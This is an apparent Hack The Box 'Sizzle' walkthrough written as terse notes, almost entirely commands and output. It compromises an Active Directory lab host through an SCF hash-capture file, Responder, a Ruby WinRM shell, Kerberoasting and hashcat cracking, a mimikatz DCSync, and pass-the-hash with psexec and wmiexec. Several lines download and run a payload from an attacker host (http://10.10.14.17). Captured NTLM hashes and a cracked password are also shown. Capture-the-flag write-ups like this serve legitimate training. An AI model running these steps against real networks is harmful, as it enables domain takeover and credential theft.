

## **SMBCLIENT**

### **RESPONDER (SHELL COMMAND FILE ATTACKS)**

### **SSL CREATE CERT FOR WINRM**

## **WINRM**

### **WITH COVENANT (KERBEROAST, DSYNC)**

PORT    STATE SERVICE    VERSION

21/tcp   open  ftp        Microsoft ftpd

|\_ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

|\_ SYST: Windows\_NT

53/tcp   open  domain?

| fingerprint-strings:

|   DNSVersionBindReqTCP:

|   version

|\_   bind

80/tcp   open  http       Microsoft IIS httpd 10.0

| http-methods:

|\_ Potentially risky methods: TRACE

|\_http-server-header: Microsoft-IIS/10.0

|\_http-title: Site doesn't have a title (text/html).

135/tcp   open  msrpc      Microsoft Windows RPC

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

389/tcp   open  ldap       Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)

| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL

| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL

| Not valid before: 2020-04-11T17:29:14

|\_Not valid after:  2021-04-11T17:29:14

|\_ssl-date: 2020-04-11T17:52:00+00:00; +7s from scanner time.

443/tcp   open  ssl/http    Microsoft IIS httpd 10.0

| http-methods:

|\_ Potentially risky methods: TRACE

|\_ http-server-header: Microsoft-IIS/10.0

|\_ http-title: Site doesn't have a title (text/html).

| ssl-cert: Subject: commonName=sizzle.htb.local

| Not valid before: 2018-07-03T17:58:55

|\_ Not valid after: 2020-07-02T17:58:55

|\_ ssl-date: 2020-04-11T17:52:00+00:00; +8s from scanner time.

| tls-alpn:

| h2

|\_ http/1.1

445/tcp open microsoft-ds?

464/tcp open kpasswd5?

593/tcp open ncacn\_http Microsoft Windows RPC over HTTP 1.0

636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)

| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL

| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL

| Not valid before: 2020-04-11T17:29:14

|\_ Not valid after: 2021-04-11T17:29:14

|\_ ssl-date: 2020-04-11T17:52:00+00:00; +8s from scanner time.

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)

| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL

| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL

| Not valid before: 2020-04-11T17:29:14

|\_ Not valid after: 2021-04-11T17:29:14

|\_ ssl-date: 2020-04-11T17:52:00+00:00; +7s from scanner time.

3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)

| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL

| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL

| Not valid before: 2020-04-11T17:29:14

|\_ Not valid after: 2021-04-11T17:29:14

|\_ ssl-date: 2020-04-11T17:52:00+00:00; +8s from scanner time.

Sharename	Type	Comment
-----------	------	---------

\_\_\_\_\_

ADMIN\$	Disk	Remote Admin
---------	------	--------------

C\$	Disk	Default share
-----	------	---------------

**CertEnroll**    Disk    Active Directory Certificate Services share

Department Shares Disk

IPC\$	IPC	Remote IPC
-------	-----	------------

NETLOGON	Disk	Logon server share
----------	------	--------------------

Operations	Disk
------------	------

SYSVOL	Disk	Logon server share
--------	------	--------------------

<http://sizzle.htb/certsrv> (NEED CRED)

```
root@akg:/home/akg/Desktop/hackthebox/sizzle# smbclient //sizzle.htb/"Department Shares" -U ""
```

<https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/> (SHELL COMMAND FILE ATTACKS)

```
root@akg:/home/akg/Desktop/hackthebox/sizzle# cat akg.scf
```

[Shell]

Command=2

IconFile=\\10.10.14.33\share\akg.ico

[Taskbar]

Command=ToggleDesktop

```
root@akg:/home/akg/Desktop/hackthebox/sizzle#
```

```
smb: \Users\Public\> put akg.scf
```

```
root@akg:/home/akg/Desktop/hackthebox/sizzle# responder -l tun0
```

- +] Listening for events...

[SMB] NTLMv2-SSP Client : 10.10.10.103

[SMB] NTLMv2-SSP Username : HTB\amanda

[SMB] NTLMv2-SSP Hash :

amanda::HTB:e6913cb590fa1cff:517E0EAF6520E688F5B48D8AADF9B2E:0101000000000000C0653150DE09D201ADE1F8F  
FE8A22101000000000200080053004D004200330001001E00570049004E002D005000520048003400390032005200510041  
00460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D0050005200480034003  
9003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E00  
6C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000001000000002000  
00BEEEC83947DD609ED9B98EA61EE69B3C84757E4FAAA20236D36685E91F3F4A700A00100000000000000000000000000

```
root@kali:/home/kali/Downloads# mv cacert.der /home/kali/Desktop/hackthebox/sizzle/
```

```
root@akg:/home/akg/Desktop/hackthebox/sizzle# cat winrm.rb
```

```
#!/usr/bin/ruby
```

```
require 'winrm'
```

```
# Author: Alamot
```

```
conn = WinRM::Connection.new(  
  endpoint: 'https://10.10.10.103:5986/wsman',  
  transport: :ssl,  
  client_cert: '/home/akg/Desktop/hackthebox/sizzle/certnew.cer',  
  client_key: '/home/akg/Desktop/hackthebox/sizzle/request.key',  
  :no_ssl_peer_verification => true  
)
```

```
command=""
```

```
conn.shell(:powershell) do |shell|
```

```
  until command == "exit\n" do
```

```
    output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',${(gi $pwd).Name}, '> ')"
```

```
    print(output.output.chomp)
```

```
    command = gets
```

```
    output = shell.run(command) do |stdout, stderr|
```

```
      STDOUT.print stdout
```

```
      STDERR.print stderr
```

```
    end
```

```
  end
```

```
  puts "Exiting with code #{output.exitcode}"
```

```
end
```

```
root@kali:/home/kali/Desktop/hackthebox/sizzle# ./winrm.rb
```

```
PS htb\amanda@SIZZLE Documents>
```

```
PS htb\amanda@SIZZLE system32> type file.txt
```

```
Domain  User ID Hash
```

```
-----
```

```
HTB.LOCAL Guest 501 -
```

```
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
```

```
mrb3n:1105:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::
```

```
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef::: Football#7
```

```
root@akg:/home/akg/Desktop/hackthebox/sizzle# secretsdump.py sizzle.htb/mrlky:Football#7@sizzle.htb.local
```

```
root@akg:/home/akg/Desktop/hackthebox/sizzle# psexec.py -hashes
```

```
aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267 Administrator@10.10.10.103 cmd.exe
```

```
root@akg:/home/akg/Desktop/hackthebox/sizzle# smbclient //sizzle.htb/C$ -U "Administrator" --pw-nt-hash
```

```
f6b7160bfc91823792e0ac3a162c9267
```

```
(ROOTED)
```

<https://0xrick.github.io/hack-the-box/sizzle/>

WITH COVENANT

```
PS htb\amanda@SIZZLE temp> IWR -Uri http://10.10.14.17/abc.exe -OutFile akg.exe
```

```
PS htb\amanda@SIZZLE temp> .\akg.exe
```

**COVENANT CONSOLE**

```
akg) > Kerberoast mrlky john
```

System.IdentityModel.Tokens.SecurityTokenValidationException: The NetworkCredentials provided were unable to create a Kerberos credential, see inner exception for details.

```
at System.IdentityModel.Tokens.KerberosRequestorSecurityToken..ctor(String servicePrincipalName,
TokenImpersonationLevel tokenImpersonationLevel, NetworkCredential networkCredential, String id, SafeFreeCredentials
credentialsHandle, ChannelBinding channelBinding)
```

```
at System.IdentityModel.Tokens.KerberosRequestorSecurityToken..ctor(String servicePrincipalName)
```

```
at SharpSploit.Enumeration.Domain.DomainSearcher.GetDomainSPNTickets(IEnumerable`1 DomainObjects)
```

```
at Task.Execute(String Usernames, String HashFormat)
```

```
(akg) > MakeToken amanda htb Ashare1972
```

```
(akg) > Kerberoast mrlky hashcat
```

\$krb5tgs\$23\$\*mrlky\$HTB\$http/sizzle\$6F862E9E16B4DBA11A1BFF17D0B9EC0C\$BB785D806ED21212AB5DB7D9FA1CCC13011E30E89BF5B29E4D4376EEC3F69152D21089F6F1B2BD9934D49D24429391FD4CF9E39EAE9EC44680182D661D15C793F5C6D705DC2A9B4B54B4197C5CAB02641C21229089BB3455EA7ED5E56D48ED18AA15E87156B9336831CD682D9669B36A162F09F48346E829A6A0EB56F6474FD1AD2ED46CD100DF54BE3E8948DBF5814DAE6D873743D9D98A6D7951B2DFAF3F523C480221B5A9189E8F7F14774A0627D243190A9BD5A8BB4757B978FE680EC1FA1745899BE42848ABBD94CEDB6F43A8BE49A1E49F63C7D5D5189BD4A134E1CE2940CC46EB27B431E51E1EB704E2E0CB83128172EF9A94EC4C111073A313ABBD35BA828E7BF5394BA32C4E18641E1A56C8EAA5A09813BC8FFCFB2928D3BC17DA5949535596A91BF459C5A807C3D4F688685D8A77D0D8B2061794D85269EA601C47807601B115316FC98A0BAE9C41F68E98DF226CCA00239155B1D777B779E2C259F43F1A849E485AE36C2A921C5AB4D43F422ECF07752D5F02F581AA90241189022F319AFE7589F5168FD2C9F00FCC48D68BA96566CB793825B504E741073E1ABC1CC88D3DBE0312DC393A306F9DB62195A32A521C6955C61B3C30B1CA62E2FB742426D24062F4A1BE86C382CD91E476C38112529D6A12D46752A0ECBDC8B395357A3C905FEAEBA641B96F74D02385BE51DFC823FA0C2A4B0F8BF95E17597EDECCA904B548678797B70EE01E79C09E264F16E0EB7D8FE63CAFCC636FAC6DFF0A06C8F48C174C53D18B8B090F1C94D074A7B6BB42647A5F417981C1B8DCE4BF8AB9F00B3BEBF51BEE6D2DBE2360C96BCB6216E070907987B515EBF9FB2A498FCAD27282DE6A2FB3A23EA85108597B60867CB4A996DE567950EDA5E53DC8A965BD5C0DBFD7DBB4DE44B122A7CFA5D0D37F0F193AC053F8F58931C226A3DBDCCDCD7004F6E02B95FD6D95ACCE67F1C57B1EB2AE048338EBE5C8940FEAD60F144C450CE4E8110A72D2F62E611EEC4E7908D4257702119F15C432D75D66FDA03773F43DBBCBD716268453E3603F937194D0A09EC209E157D4A914744308450FA66087C5C2375B4675C836DD37BF3E400D0B52B8C2687F7634D0E1EE1777258AC89AADBE21B36AADF02E5BD7C14995FF1451D8B46C188D963228B0672C68DF8812623CA4B71AAC9A9827D628D3ADE4B881B25D73452D753690F27DEEC4A3E98FE3C33150B9ACAD9E8A2BCF67AA37F2F31A55FAB758AF6BC30F01C7972271545D0CDF1C4FF167A91173B0772D9830C3542267C700C72847786632FAC4BBBD21F5D1F40D637DD28605431958AD85553BECF78CE50A5BFF9200F3F44CC54CA6A4FE0DDF3B8A2E57F666503B7B64FC1146F37D339F9435031D331AF24F2F66C06C37A5E47BC688A

## Add star at the end of sizzle\*

```
hashcat -m 13100 -a 0 hashcathash.txt /usr/share/wordlists/rockyou.txt -force
```

Football#7

**(akg) > MakeToken mrlky htb Football#7**

**(akg) > DCSync Administrator**

```
mimikatz(powershell) # lsadump::dcsync /user:Administrator /domain:HTB.LOCAL
```

[DC] 'HTB.LOCAL' will be the domain

[DC] 'sizzle.HTB.LOCAL' will be the DC server

[DC] 'Administrator' will be the user account

Object RDN : Administrator

\*\* SAM ACCOUNT \*\*

SAM Username : Administrator

Account Type : 30000000 ( USER\_OBJECT )

User Account Control : 00000200 ( NORMAL\_ACCOUNT )

Account expiration :

Password last change : 7/12/2018 1:32:41 PM

Object Security ID : S-1-5-21-2379389067-1826974543-3574127760-500

Object Relative ID : 500

Credentials:

Hash NTLM: **f6b7160bfc91823792e0ac3a162c9267**

ntlm- 0: f6b7160bfc91823792e0ac3a162c9267

ntlm- 1: c718f548c75062ada93250db208d3178

lm - 0: 336d863559a3f7e69371a85ad959a675

root@akg:/home/akg/Desktop/hackthebox/sizzle# wmiexec.py administrator@10.10.10.103 -hashes  
f6b7160bfc91823792e0ac3a162c9267:f6b7160bfc91823792e0ac3a162c9267

Impacket v0.9.21.dev1+20200309.134159.0b46f198 - Copyright 2020 SecureAuth Corporation

[\*] SMBv3.0 dialect used

[!] Launching semi-interactive shell - Careful what you execute

[!] Press help for extra shell commands

C:\>whoami

htb\administrator

powershell -c "(new-object  
System.Net.WebClient).DownloadFile('http://10.10.14.17/akg.exe','C:\Windows\Temp\akg.exe')"